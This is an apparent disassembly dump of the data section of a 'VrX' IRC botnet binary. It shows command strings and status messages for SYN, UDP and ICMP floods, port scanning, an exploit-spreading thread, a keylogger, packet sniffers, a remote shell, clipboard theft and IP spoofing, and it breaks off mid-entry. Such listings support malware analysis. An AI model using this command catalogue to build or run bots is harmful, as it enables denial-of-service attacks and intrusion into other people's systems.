DATA XREF: sub_401AC7+4F09o ; ___:00438328o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401AC7+4EF2o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401AC7+4EDBo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401AC7+4EC4o off_42AFEC dd offset word_587256 ; DATA XREF: sub_401AC7+4EADo dword_42AFF0 dd 637370h ; DATA XREF: sub_401AC7+4E96o aPortscan db 'portscan',0 ; DATA XREF: sub_401AC7+4E7Fo align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401AC7+4E59o aC_action db 'c_action',0 ; DATA XREF: sub_401AC7+4E42o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401AC7+4E2Bo align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401AC7+4E14o align 4 aSc db 'sc',0 ; DATA XREF: sub_401AC7+4DFDo align 4 aScan db 'scan',0 ; DATA XREF: sub_401AC7+4DE6o align 10h aRd db 'rd',0 ; DATA XREF: sub_401AC7+4DCFo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401AC7+4DB8o align 10h aNazel db 'NAZEL',0 ; DATA XREF: sub_401AC7+4D8Ao ; sub_401AC7+4DA1o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401AC7+4D73o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401AC7+4D5Co align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401AC7+4D4Fo aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401AC7+4CD7o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401AC7+4C5Do align 10h aSyn db 'syn',0 ; DATA XREF: sub_401AC7+4C46o ; sub_401AC7+5225o aSynflood db 'synflood',0 ; DATA XREF: sub_401AC7+4C2Fo align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401AC7+4C22o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401AC7+4B4Bo align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401AC7+4B34o ; sub_41364F:loc_41377Bo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401AC7+4B1Do ; sub_41364F:loc_41375Fo align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401AC7+4B06o ; sub_41364F+F1o align 10h aClone_0 db 'clone',0 ; DATA XREF: sub_401AC7+4AD8o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401AC7+4AAFo align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401AC7+4A98o align 4 aMv db 'mv',0 ; DATA XREF: sub_401AC7+4A81o align 10h aRename db 'rename',0 ; DATA XREF: sub_401AC7+4A6Ao align 4 aFf db 'ff',0 ; DATA XREF: sub_401AC7+4A53o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401AC7+4A3Co align 4 aE: ; DATA XREF: sub_401AC7+4A25o ; ___:004382E8o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401AC7+4A0Eo aHadeth db 'HADETH',0 ; DATA XREF: sub_401AC7+49E0o ; sub_401AC7+49F7o align 4 aDe db 'de',0 ; DATA XREF: sub_401AC7+49C9o align 10h aDelay db 'delay',0 ; DATA XREF: sub_401AC7+49B2o align 4 aRp db 'rp',0 ; DATA XREF: sub_401AC7+499Bo align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401AC7+4984o ; sub_401AC7+6B38o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401AC7+496Do aTsunami db 'tsunami',0 ; DATA XREF: sub_401AC7+4956o aT3 db 't3',0 ; DATA XREF: sub_401AC7+493Fo align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401AC7+4928o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401AC7+4911o aC_part db 'c_part',0 ; DATA XREF: sub_401AC7+48FAo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401AC7+48E3o aC_join db 'c_join',0 ; DATA XREF: sub_401AC7+48CCo align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401AC7+48B5o aC_nick db 'c_nick',0 ; DATA XREF: sub_401AC7+489Eo align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401AC7+4887o aC_mode db 'c_mode',0 ; DATA XREF: sub_401AC7+4870o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401AC7+4859o aC_raw db 'c_raw',0 ; DATA XREF: sub_401AC7+4842o align 4 aM: ; DATA XREF: sub_401AC7+482Bo ; ___:00437FF0o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401AC7+47FDo align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401AC7+47E6o align 4 aA: ; DATA XREF: sub_401AC7+47CFo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401AC7+47B8o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401AC7+478Ao aAa db 'aa',0 ; DATA XREF: sub_401AC7+4773o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401AC7+475Co align 4 aKl db 'kl',0 ; DATA XREF: sub_401AC7+4745o align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401AC7+472Eo aGh db 'gh',0 ; DATA XREF: sub_401AC7+4705o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401AC7+46EEo unk_42B254 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4061A8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_40619Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401AC7+4694o ; sub_4098FD+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_406150o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401AC7+467Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4060AEo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401AC7+45DDo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401AC7+4575o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401AC7+453Fo align 4 aPause db 'pause',0 ; DATA XREF: sub_401AC7+4527o align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_405FCBo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401AC7+44FAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401AC7+44A9o align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401AC7+4476o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401AC7+4452o aStop db 'stop',0 ; DATA XREF: sub_401AC7+4424o ; sub_401AC7+443Bo ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401AC7+440Do align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401AC7+43F6o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7:loc_405EB0o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+43DFo aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+43B1o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+4364o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+4354o aAlreadyRunning db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401AC7+4323o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_405DDDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401AC7+430Co db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401AC7+42DEo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401AC7+426Fo db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401AC7+420Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401AC7+41D6o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7:loc_405C90o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+41BFo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+4191o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+4122o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+40BEo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401AC7+409Eo ; sub_401AC7+41EBo ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401AC7+4089o align 4 aRf db 'rf',0 ; DATA XREF: sub_401AC7+4072o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401AC7+405Bo align 4 aCm db 'cm',0 ; DATA XREF: sub_401AC7+4044o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401AC7+402Do aMirc db 'mirc',0 ; DATA XREF: sub_401AC7+4016o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401AC7+3FFFo aV: ; DATA XREF: sub_401AC7+3FE8o ; ___:00437FE4o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401AC7+3FD1o align 4 aLi db 'li',0 ; DATA XREF: sub_401AC7+3FBAo align 10h aList db 'list',0 ; DATA XREF: sub_401AC7+3FA3o align 4 aGt db 'gt',0 ; DATA XREF: sub_401AC7+3F8Co align 4 aDel db 'del',0 ; DATA XREF: sub_401AC7+3F5Eo aDelete db 'delete',0 ; DATA XREF: sub_401AC7+3F47o ; sub_401AC7+455Ao align 4 aKi db 'ki',0 ; DATA XREF: sub_401AC7+3F30o align 4 aKill db 'kill',0 ; DATA XREF: sub_401AC7+3F19o align 4 aKp db 'kp',0 ; DATA XREF: sub_401AC7+3F02o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401AC7+3EEBo align 4 aDn db 'dn',0 ; DATA XREF: sub_401AC7+3ED4o align 4 aDns db 'dns',0 ; DATA XREF: sub_401AC7+3EBDo aSe db 'se',0 ; DATA XREF: sub_401AC7+3EA6o align 10h aO: ; DATA XREF: sub_401AC7+3E78o ; ___:00438314o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401AC7+3E61o ; sub_401AC7+5884o ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401AC7+3E4Ao align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401AC7+3E33o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401AC7+3E1Co align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401AC7+3E05o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401AC7+3DEEo aC_quit db 'c_quit',0 ; DATA XREF: sub_401AC7+3DD7o align 4 aK: ; DATA XREF: sub_401AC7+3DC0o ; ___:00438304o unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401AC7+3DA9o align 4 aRaw db 'raw',0 ; DATA XREF: sub_401AC7+3D7Bo aPt db 'pt',0 ; DATA XREF: sub_401AC7+3D64o align 10h aJ: ; DATA XREF: sub_401AC7+3D36o ; ___:00438300o unicode 0, <j>,0 aN: ; DATA XREF: sub_401AC7+3D08o ; ___:00437FECo ... unicode 0, <n>,0 unk_42B788 db 2Dh ; - ; DATA XREF: sub_401AC7+3CD3o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 10h aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401AC7+3C6Ao aRegister db 'register',0 ; DATA XREF: sub_401AC7+3C41o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401AC7+3BE6o align 4 aMix db 'mix',0 ; DATA XREF: sub_401AC7+3B14o dword_42B7E8 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401AC7+3ABEo ; sub_401AC7+3AF9o dd 0 dword_42B800 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401AC7+3A83o dd 1 dword_42B818 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401AC7+3A48o ; sub_401AC7+3B66o aCtcp db 'ctcp',0 ; DATA XREF: sub_401AC7+39F6o align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401AC7+395Bo ; sub_401AC7+399Bo ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401AC7+3904o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401AC7+3812o aChgnick db 'chgnick',0 ; DATA XREF: sub_401AC7+37CEo aNick_0 db 'nick',0 ; DATA XREF: sub_401AC7+36CBo ; sub_401AC7+3CF1o align 10h dword_42B860 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401AC7+36B0o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B888 dd 636364h ; DATA XREF: sub_401AC7+3633o dword_42B88C dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AC7+34E2o dword_42B898 dd 4B43494Eh, 732520h ; DATA XREF: sub_401AC7+34C7o ; sub_401AC7+3725o ... dword_42B8A0 dd 69257325h, 0 ; DATA XREF: sub_401AC7+34AFo ; sub_40AAA0+4Eo ... aPnick db 'pnick',0 ; DATA XREF: sub_401AC7+346Fo align 10h aPartSS db 'part %s %s',0 ; DATA XREF: sub_401AC7+3454o ; sub_401AC7+3539o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401AC7+342Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401AC7+3412o aPart_0 db 'part',0 ; DATA XREF: sub_401AC7+33F0o ; sub_401AC7+3D4Do align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401AC7+33D5o ; sub_401AC7+3510o ... aJoin db 'join',0 ; DATA XREF: sub_401AC7+33B3o ; sub_401AC7+3D1Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401AC7+3398o align 4 aMode db 'mode',0 ; DATA XREF: sub_401AC7+334Co ; sub_401AC7+4814o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401AC7+3331o align 4 aNt db 'nt',0 ; DATA XREF: sub_401AC7+32E5o align 10h dword_42B910 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401AC7+32CAo dword_42B924 dd 7463h ; DATA XREF: sub_401AC7+327Eo dword_42B928 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AC7+3263o ; sub_401AC7+3869o ... dword_42B938 dd 5Fh ; DATA XREF: sub_401AC7+3237o ; sub_401AC7+329Eo ... dword_42B93C dd 6D70h ; DATA XREF: sub_401AC7+3217o ; sub_401AC7+47A1o unk_42B940 db 2Dh ; - ; DATA XREF: sub_401AC7+31E7o db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401AC7+3193o align 4 aFlood db 'flood',0 ; DATA XREF: sub_401AC7+3172o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401AC7+315Bo align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401AC7+3144o aRin db 'rin',0 ; DATA XREF: sub_401AC7+312Do aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401AC7+3116o align 4 unk_42B9A8 db 2Dh ; - ; DATA XREF: sub_401AC7+3109o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401AC7+3097o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401AC7+3019o unk_42BA20 db 2Dh ; - ; DATA XREF: sub_401AC7+2FF9o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA4C db 2Dh ; - ; DATA XREF: sub_401AC7+2FCFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401AC7+2F97o align 4 unk_42BA8C db 2Dh ; - ; DATA XREF: sub_401AC7+2F3Eo ; sub_401AC7+2FAFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401AC7:loc_4049E3o ; sub_401AC7+3F75o unk_42BAC8 db 3 ; DATA XREF: sub_401AC7+2EAAo a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 4 unk_42BAF4 db 3 ; DATA XREF: sub_401AC7+2E9Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 10h dword_42BB20 dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401AC7+2E4Ao unk_42BB30 db 3 ; DATA XREF: sub_401AC7:loc_404902o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401AC7+2E18o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBBC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401AC7+2D9Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401AC7+2D98o align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401AC7+2D91o align 10h unk_42BBF0 db 2Dh ; - ; DATA XREF: sub_401AC7+2D1Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42BC30 db 2Dh ; - ; DATA XREF: sub_401AC7+2C96o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC5C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401AC7+2C14o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BC98 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401AC7+2BA5o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCC0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401AC7+2AF2o dword_42BCD0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401AC7+2AEDo dword_42BCDC dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401AC7+2ADAo dword_42BCEC dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401AC7+2AD5o unk_42BCFC db 3 ; DATA XREF: sub_401AC7+2A62o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_40451Co ; sub_401AC7:loc_409578o ... align 4 unk_42BD2C db 3 ; DATA XREF: sub_401AC7+2A40o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044FAo align 10h aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044E4o ; sub_401AC7+78DBo align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+2A0Bo align 4 unk_42BD7C db 3 ; DATA XREF: sub_401AC7+29BFo a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 unk_42BDA8 db 3 ; DATA XREF: sub_401AC7+2981o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 10h unk_42BDC0 db 2Dh ; - ; DATA XREF: sub_401AC7+296Co db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BDFC dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401AC7+28FDo dd 65726874h, 2E736461h, 0 dword_42BE1C dd 627573h ; DATA XREF: sub_401AC7+28D7o unk_42BE20 db 3 ; DATA XREF: sub_401AC7+2885o a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE38 db 2Dh ; - ; DATA XREF: sub_401AC7+286Ao db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE70 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401AC7+27DDo dd 2E676Fh unk_42BE88 db 3 ; DATA XREF: sub_401AC7+2756o a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BEA0 db 3 ; DATA XREF: sub_401AC7+2727o a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB8 db 3 ; DATA XREF: sub_401AC7+26D2o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BED0 db 2Dh ; - ; DATA XREF: sub_401AC7+26B6o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF0C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401AC7+2641o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401AC7+2621o align 10h unk_42BF30 db 2Dh ; - ; DATA XREF: sub_401AC7+25C2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 10h unk_42BF50 db 3 ; DATA XREF: sub_401AC7+2571o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 unk_42BF68 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403F6Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF88 db 2Dh ; - ; DATA XREF: sub_401AC7+24A0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 10h unk_42BFB0 db 2Dh ; - ; DATA XREF: sub_401AC7+2484o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFDC db 3 ; DATA XREF: sub_401AC7+246Eo a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF8 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401AC7+2440o dd 2Dh unk_42C010 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403EF7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C03C db 2Dh ; - ; DATA XREF: sub_401AC7+2429o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_42C060 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403ECCo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C08C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403EC5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B8 db 2Dh ; - ; DATA XREF: sub_401AC7+23F7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0DC db 2Dh ; - ; DATA XREF: sub_401AC7+23A4o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C118 db 2Dh ; - ; DATA XREF: sub_401AC7+2335o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C154 db 2Dh ; - ; DATA XREF: sub_401AC7+2252o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42C190 db 2Dh ; - ; DATA XREF: sub_401AC7+21E7o ; sub_40BD7C+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1CC db 2Dh ; - ; DATA XREF: sub_401AC7+20E0o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C208 db 2Dh ; - ; DATA XREF: sub_401AC7+2071o ; sub_40BD7C+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 